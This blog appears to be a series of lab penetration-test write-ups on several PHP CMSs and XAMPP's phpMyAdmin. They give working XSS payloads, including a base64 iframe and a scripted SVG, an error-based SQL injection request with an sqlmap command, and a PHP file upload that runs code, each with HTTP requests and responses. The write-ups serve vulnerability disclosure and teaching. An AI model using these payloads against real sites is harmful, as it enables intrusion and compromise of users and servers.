Friday, 15 March 2024

Friday Fun Pentest Series - 3 - concretecmsv9.2.7

 Description

- Open redirect

- Stored XSS

- Verbose error message (stack trace)

- Verbose error message (SQL error)


Verbose Error Message - Stack Trace

Steps to Reproduce:

    1. Directly browse to edit profile page
    2. Error should come up with verbose stack trace

    Verbose Error Message - SQL Error

    Steps to Reproduce:

      Page Settings > Design > Save Changes

      1. Intercept HTTP POST request and place single quote to "pTemplateID"
      2. Verbose SQL error message would occur


      Open Redirect

      Steps to Reproduce:

        1. Login to application
        2. Click to "Edit This Page" button
        3. Intercept HTTP GET request
        4. Enter relevant domain as value for "redirect" parameter


        Stored XSS

        Steps to Reproduce:

        1. Edit page
        2. Add HTML widget and drag it to the page
        3. Add XSS payload in the HTML editor window

        "><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">


        Conclusion

        - Had lots of fun fuzzing the application

        - Until next Friday!

        - Cheers

        Saturday, 9 March 2024

        Friday Fun Pentest Series - 2 - phpfusioncmsv9.10.30

        Description

        - Filter bypass

        - Four stored XSS in admin functionality


        Payload Used:

        "><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">


        Stored XSS #1

        Steps to Reproduce:

        1. Go to Content Admin > Blog > Add Blog
        2. In the Extended blog content field paste the XSS payload


        Stored XSS #2

        Steps to Reproduce:

        1. Go to Content Admin > Articles > Article
        2. In the Article field paste the XSS payload


        Stored XSS #3

        Steps to Reproduce:

        1. Go to Content Admin > News > Add News
        2. In the Snippet field paste the XSS payload


        Stored XSS #4

        Steps to Reproduce:

        1. Go to System Admin > Banners
        2. In the Banner 1 field paste the XSS payload 


        Conclusion

        - Had lots of fun fuzzing the application

        - Until next Friday!

        - Cheers

        Saturday, 2 March 2024

        Friday Fun Pentest Series - 1 - boidcmsv2.0.1

        BoidCMS v2.0.1

        Description

        - Stored XSS

        - Reflected XSS

        - XSS via SVG File Upload


        XSS via SVG File Upload

        Steps to Reproduce:

        1. Login with admin user
        2. Visit "Media" page
        3. Upload xss.svg
        4. Click "View" and XSS payload will execute

        // xss.svg contents

        <?xml version="1.0" standalone="no"?>
        <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

        <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
           <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
           <script type="text/javascript">
              alert(`XSS`);
           </script>
        </svg>


        Reflected XSS

        Steps to Reproduce:
        1. Login as admin
        2. Visit "Media" page
        3. Click "Delete" and intercept the HTTP GET request
        4. In "file" parameter add the payload "<script>alert(1)</script>"
        5. After forwarding the HTTP GET request a browser popup would surface

        Stored XSS

        Steps to Reproduce:
          1. Login as admin
          2. Visit "Settings" page
          3. Enter XSS payload in "Title", "Subtitle", "Footer"
          4. Then visit the blog page

          Conclusion

          - Had lots of fun fuzzing the application
          - Until next Friday!
          - Cheers

          Friday, 1 March 2024

          Friday Fun Pentest Series Introduction

           

          Decided to introduce a Friday Fun Pentest Series, where I would be pentesting various web apps in my lab to discover and explore vulnerabilities in the web app as well its code base. Then post the walkthroughs on my blog for anyone that would want to follow.

          Tuesday, 27 February 2024

          SQL Injection - xamppv5.6.40

          Description 

          - It was found that XAMPP version 5.6.40 suffers from authenticated SQL injection (error based)
          - The Export functionality is vulnerable


          SQL Injection

          Steps to Reproduce:

          1. Login to phpmyadmin
          2. Visit Export > New Template > test > Create
          3. Navigate to "Existing Templates"
          4. Select template "test" and click "Update"
          5. Trap HTTP POST request
          6. Place single quote to "templateId" parameter


          // HTTP POST request

          POST /phpmyadmin/tbl_export.php HTTP/1.1

          Host: 192.168.159.128

          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36

          [...]

          ajax_request=true&server=1&db=&table=&exportType=server&templateAction=load&templateId=1'&_nocache=170904357625092438&token=%5D%7BwM4%22xq%26%3C%7Fioycy


          // HTTP response

          HTTP/1.1 200 OK

          Date: Tue, 27 Feb 2024 16:44:09 GMT

          Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

          X-Powered-By: PHP/5.6.40

          [...]

          {"success":false,"error":"#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\\' AND `username` = 'root'' at line 1"}


          sqlmap -r request.txt --dbms=mysql --threads 10 --level 5 --risk 3 --fingerprint

          [...]

          [16:55:00] [INFO] confirming MySQL

          [16:55:01] [INFO] the back-end DBMS is MySQL

          [16:55:01] [INFO] actively fingerprinting MySQL

          [16:55:02] [INFO] executing MySQL comment injection fingerprint

          web application technology: PHP 5.6.40, Apache 2.4.37

          back-end DBMS: active fingerprint: MySQL >= 5.5

                         comment injection fingerprint: MySQL 5.6.52

                         fork fingerprint: MariaDB

          [...]


          Friday, 23 February 2024

          Stored XSS - wondercmsv3.4.3


          Description 

          - It was found that the Current Page suffers from Stored Cross Site Scripting

          - Requires valid credentials in order to access the functionality


          Stored XSS


          Steps to Reproduce:

          1. Login and browse to "Settings"
          2. "Current Page" > "Page Title"
          3. Input following payload into "Page Title" "><a onmouseover=alert(1) style=display:block>XSS</a>


          // HTTP POST request

          POST /wondercms HTTP/2

          Host: 192.168.232.133

          User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

          [...]

          [...]content=%22%3E%3Ca%20onmouseover%3Dalert(1)%20style%3Ddisplay%3Ablock%3EXSS%3C%2Fa%3E&target=pages&menu=&visibility=


          // HTTP response

          HTTP/2 200 OK

          Cache-Control: no-store, no-cache, must-revalidate

          Pragma: no-cache

          [...]


          [...]

          <meta name="title" content="Website title - "><a onmouseover=alert(1) style=display:block>XSS</a>" />

          [...]

          Monday, 5 February 2024

          Stored XSS and RCE - adaptcmsv3.0.3

           Description

          - It was found that adaptcms v3.0.3 was vulnerable to stored cross site scripting

          - Also the application allowed the file upload functionality to upload PHP files which resulted in remote code execution


          Stored XSS


          Steps to Reproduce:

          1. Login as admin and add a new article
          2. In "Title" add the following payload <svg><animate onbegin=alert(1) attributeName=x dur=1s>
          3. The stored XSS would be triggered upon visiting the article by normal user 

          // HTTP POST request

          POST /adaptcms/admin/articles/preview/?preview=1 HTTP/1.1

          Host: 192.168.232.133
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
          [...]

          _method=PUT&data%5B_Token%5D%5Bkey%5D=357ba58e7871f0849edd3c623771a379e2fc1a2c&data%5BArticle%5D%5Btitle%5D=%3Csvg%3E%3Canimate+onbegin%3Dalert(1)+attributeName%3Dx+dur%3D1s%3E&data%5BArticleValue%5D%5B0%5D%5Bdata%5D=%3Cp%3ETest%3C%2Fp%3E[...]


          // HTTP GET request

          GET /adaptcms/admin/articles/preview HTTP/1.1
          Host: 192.168.232.133
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
          [...]

          // HTTP response

          HTTP/1.1 200 OK
          Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
          [...]

          [...]
          <!DOCTYPE html>
          <html lang="en">
          <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>
          AdaptCMS 3.0.3 | <svg><animate onbegin=alert(1) attributeName=x dur=1s> </title>
          [...]


          Unrestricted File Upload


          Steps to Reproduce:

          1. Login as admin and visit the "Media" page
          2. Click on "Files" then use the "Add File" functionality
          3. In "File Contents" add the following PHP code <?php phpinfo(); ?>

          // HTTP POST request

          POST /adaptcms/admin/files/add HTTP/1.1
          Host: 192.168.232.133
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
          [...]

          [...]
          ------WebKitFormBoundaryVO2wc6i6YcQWk3oU
          Content-Disposition: form-data; name="data[0][File][dir]"

          uploads/
          ------WebKitFormBoundaryVO2wc6i6YcQWk3oU
          Content-Disposition: form-data; name="data[0][File][mimetype]"


          ------WebKitFormBoundaryVO2wc6i6YcQWk3oU
          Content-Disposition: form-data; name="data[0][File][filesize]"


          ------WebKitFormBoundaryVO2wc6i6YcQWk3oU
          Content-Disposition: form-data; name="data[File][content]"

          <?php phpinfo(); ?>
          ------WebKitFormBoundaryVO2wc6i6YcQWk3oU
          [...]

          // HTTP response

          HTTP/1.1 302 Found
          Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
          X-Powered-By: PHP/5.6.40
          Location: http://192.168.232.133/adaptcms/admin/files
          [...]


          // HTTP GET request

          GET /adaptcms/uploads/test-php.php HTTP/1.1
          Host: 192.168.232.133
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
          [...]


          // HTTP response

          HTTP/1.1 200 OK
          Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
          X-Powered-By: PHP/5.6.40
          [...]

          [...]
          <h1 class="p">PHP Version 5.6.40</h1>
          </td></tr>
          </table>
          <table>
          <tr><td class="e">System </td><td class="v">Linux ubuntu 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 </td></tr>
          [...]

          Paper-Attacking XAMPP Installs

          Have released a paper for attacking and exploiting XAMPP installs :) Links is below. https://seclists.org/fulldisclosure/2026/Jan/28